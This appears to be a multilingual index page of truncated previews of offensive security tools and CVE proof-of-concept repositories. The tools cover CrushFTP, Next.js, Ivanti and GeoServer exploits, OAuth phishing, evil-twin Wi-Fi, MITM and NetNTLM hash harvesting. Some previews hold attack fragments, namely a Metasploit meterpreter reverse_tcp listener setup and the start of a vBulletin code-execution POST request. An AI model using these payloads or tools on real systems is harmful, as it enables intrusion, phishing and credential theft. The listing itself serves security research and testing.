CVE-2025-2825-CrushFTP-AuthBypass

🚨 CVE-2025-2825 – CrushFTP 認証バイパス 🔎 概要 CVE-2025-2825 は、広く使用されているセキュアファイル転送サーバ CrushFTP に存在する深刻な認証バイパス脆弱性です。この欠陥により、リモート攻撃者はヘッダーを偽装してログイン認証を回避し、サーバーにリクエストが localhost から来たと思い込ませることで管理アクセスを取得できます。 深刻度: Critical CVSS スコア: 9.8 攻撃ベクトル: リモート 影響を受けるバージョン: CrushFTP v10.6.0 修正バージョン: v10.6.0 以上 ステータス:...

jexboss

JexBoss - JBoss and others Java Deserialization Vulnerabilities verify and EXploitation Tool JexBoss is a tool for testing and exploiting vulnerabilities in JBoss Application Server and others Java Platforms, Frameworks, Applications, etc. Requirements Python = 2.7.x urllib3 ipaddress Installatio...

cve-2019-9787_csrf_poc

CVE-2019-9787 CSRF PoC 개요 CVE-2019-9787 CSRF의 PoC WordPress 버전 5.0 참고 테스트 목적 외에는 사용하지 마십시오. 설치 root@kitploit: $ docker-compose up -d 1. http://localhost:8080/에 접속하여 WordPress를 설치합니다. WP 관리자 계정만 생성하면 됩니다. 2. 방문자로서 http://localhost:8080/?p=1comments에 접속하여 "csrf site: http://localhost/" 같은 댓글을 작성합니다...

CVE-2025-29927

CVE-2025-29927: Next.jsミドルウェアの悪夢 このリポジトリは厳密に教育目的のみで提供されています。 この脆弱性を発見したわけではありません。これは、公開されたセキュリティ問題のデモと解説です。この知識を利用して許可なく脆弱なシステムを悪用することは、違法かつ非倫理的です。 またしても... 本番アプリでNext.jsを使用しているなら、今すぐ手を止めてバージョン番号を確認してください 。認証システム全体を無防備にする深刻なミドルウェア脆弱性があります。...

SKA

소개 SKA를 사용하면 매우 간단하고 빠른 카르마 공격을 구현할 수 있습니다. 프로브 요청을 스니핑하여 가짜 AP 이름을 선택하거나, 원한다면 AP 이름을 수동으로 입력할 수 있습니다 악성 트윈 공격. 대상이 당신의 WLAN에 연결되면 HTTP 리디렉션을 활성화하고 MITM 공격을 수행할 수 있습니다. 세부 사항 스크립트는 다음 단계를 구현합니다: 1. 공격을 위한 NIC 선택 LAN용 하나, WAN용 하나 2. 프로브 요청을 캡처하여 가짜 AP 이름 선택 tcpdump 3. 가짜 AP 활성화 hostapd 및 dnsmasq ...

ip-finder-cli

IPFinder CLI Command Line Interface https://ipfinder.io/ Supports Single IP Address, asn, ranges, firewall as Input Supports Bulk Exports Results to Screen or to An Output File Supports IPv4 and IPv6 Supports ASN number , RANGES , Firewall Getting Started sign up for a free account at...

Farmer

Farmer 作者：@domchell 概述 我想当个农夫，于是开始收割哈希 Farmer 是一个用于在 Windows 域中收集 NetNTLM 哈希的项目。Farmer 通过创建一个本地 WebDAV 服务器来实现这一点，该服务器会使得 WebDAV 迷你重定向器从任何连接的客户端进行身份验证。 要使 Farmer 成功，客户端必须能够连接到本地 WebDAV 服务器。可能阻碍此过程的因素包括网络隔离和/或 Windows 防火墙。请务必先检查这些因素（ 提示 Seatbelt WindowsFirewall）。 播撒作物 Farmer 包含一个用于 Crop...

CVE-2017-11882

CVE-2017-11882 43b 원본 스크립트는 https://github.com/embedi/CVE-2017-11882 에서 가져옴 109b 원본 스크립트는 https://github.com/unamer/CVE-2017-11882/ 에서 가져옴 감탄하며, 이제 unamer의 코드는 shellcode를 실행할 수 있습니다 CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ MITRE CVE-2017-11882:...

CVE-2024-36401-PoC

CVE-2024-36401-PoC CVE-2024-36401 GeoServer 的概念验证利用 GeoServer 的受影响版本为 2.23.6、2.24.4、2.25.2 之前的版本 !!! 仅供安全测试使用 !!! 除非您拥有明确许可，否则请勿在非您拥有的系统上使用此工具 !!! 运行方式... 1. 在 Metasploit 中启动一个监听器 root@kitploit: msf6 use exploit/multi/handler msf6 exploitmulti/handler set payload linux/x64/meterpreterreversetcp...

MITMer

MITMer このツールは以下のことができます： 特定のホストまたはLAN上の全ホストに対するMITM攻撃。 攻撃対象ホストのHTTPおよびDNSのアクティビティを表示。 特定のWebサイトに対するDNSクエリを遮断し、あなたのPCにリダイレクトします。 そのWebサイトを偽のページに変換し、あなたのPCでホストします。 依存関係： python2 scapy python2-nfqueue 使用例： 全ホストを攻撃し、HTTPトラフィックを表示。www.somewebsite.comの偽ページを作成： root@kitploit: sudo ./mitmer.py -http...

o365-attack-toolkit

o365-attack-toolkit とは o365-attack-toolkit を使用すると、オペレーターは OAuth フィッシング攻撃を実行できます。 従来の静的な定義モデルから、アカウントとリアルタイムで完全に「対話的」に動作するモデルに移行することにしました。 主な変更点 対話型メール検索 – ユーザーのメールを、まるで完全にアクセス権があるかのように検索できます。 メール送信 – ユーザーのメールボックスから、添付ファイル付きの HTML/TEXT メールを送信できます。 対話型ファイル検索とダウンロード –...

CVE-2024-8190-unauth

CVE-2024-8190 認証なし 説明 CVE-2024-8963 & CVE-2024-8190 の組み合わせ - Ivanti CSA 4.6 以前における認証なし RCE の PoC。 CVE-2024-8963 Ivanti CSA 4.6 Patch 519 より前のパス横断により、リモートの認証されていない攻撃者が制限された機能にアクセスできる可能性があります。 CVE-2024-8190 Ivanti Cloud Services Appliance バージョン 4.6 Patch 518 以前の OS...

o365-attack-toolkit

What is o365-attack-toolkit o365-attack-toolkit allows operators to perform oauth phishing attacks. We decided to move from the old model of static definitions to fully "interactive" with the account in real-time. Some of the changes Interactive E-mail Search - Allows you to search for user e-mai...

CVE-2020-28653

CVE-2020-28653 版本：2016 - 2020（补丁前） 用法： root@kitploit: python exploit.py http://vuln-web.com...

Exif-Remove

명령줄 도구 - Exif 데이터를 쉽게 제거하세요 이 도구는 Python 2.7로 제작되었으며 Windows OS용 pyinstaller로 컴파일되었습니다. 이 도구는 특별한 것이 없으며 단지 제 작업을 편리하게 해줍니다. 여러분에게도 유용할 수 있습니다. 어떤 이유로? Exif는 사진에 숨겨진 메타데이터입니다. 많은 선의의 사람들이 모르는 사이에 디지털 사진의 메타데이터에 포함된 개인 정보를 노출합니다. 온라인 기밀성을 더 잘 보호하려면 exif 데이터를 제거하는 것이 중요합니다. 변경 로그 v.1.0.3 도구가 exif...

N4xD0rk

N4xD0rk 검색 엔진을 이용한 해킹 기술을 사용하여 주요 도메인의 서브도메인을 나열합니다. 설치 GitHub 저장소를 복제하여 최신 버전의 N4xD0rk를 다운로드할 수 있습니다: root@kitploit: git clone https://github.com/n4xh4ck5/N4xD0rk.git pip를 통해 종속성을 설치하세요: root@kitploit: pip install -r requirements.txt phantomJS를 제대로 설치하려면 다음 단계를 따르세요: root@kitploit: 리눅스 Debian,...

imR0T

imR0T cryp·tog·ra·phy imR0T: WhatsApp 연락처에 간단한 텍스트 암호화로 빠른 메시지 를 보내고, 기본적으로 ROT13 과 ASCII 및 기호 대체 기반의 새로운 다중 암호화 알고리즘을 사용합니다. Donate 이 프로젝트가 침투 테스트에 매우 유용하고 저를 지원하고 싶다면, 커피 한 잔 사주세요 : How To Use 사용법은 간단합니다: root@kitploit: Clone this repository git clone https://github.com/Screetsec/imR0T.git Go...

CVE-2018-16341

CVE-2018-16341 利用 SSTI 绕过 Nuxeo 认证实现远程代码执行（版本 10.3）- CVE-2018-16341 详细分析（非英文） ： https://www.freebuf.com/vuls/193000.html https://blog.riskivy.com/nuxeo-rce-analysis-cve-2018-16341/ 安全公告 ：...

AutoIt-Ripper

AutoIt-Ripper これは何か これは、PE実行ファイルから「コンパイル済み」AutoItスクリプトを抽出するための短いPythonスクリプトです。 参考情報 このスクリプトは3つのリソースに強く 基づいています。AutoItについてもっと深く掘り下げたい場合は、ぜひチェックしてみてください: http://files.planet-dl.org/Cw2k/MyAutToExe/index.html Github ミラー I Github ミラー II https://github.com/sujuhu/autoit...

CVE-2020-17496

CVE-2020-17496 root@kitploit: POST /ajax/render/widgettabbedcontainertabpanel?XDEBUGSESSIONSTART=phpstorm HTTP/1.1 Host: localhost User-Agent: curl/7.54.0 Accept: / Content-Length: 100 Content-Type: application/x-www-form-urlencoded subWidgets0template=widgetphp&subWidgets0configcode=echo...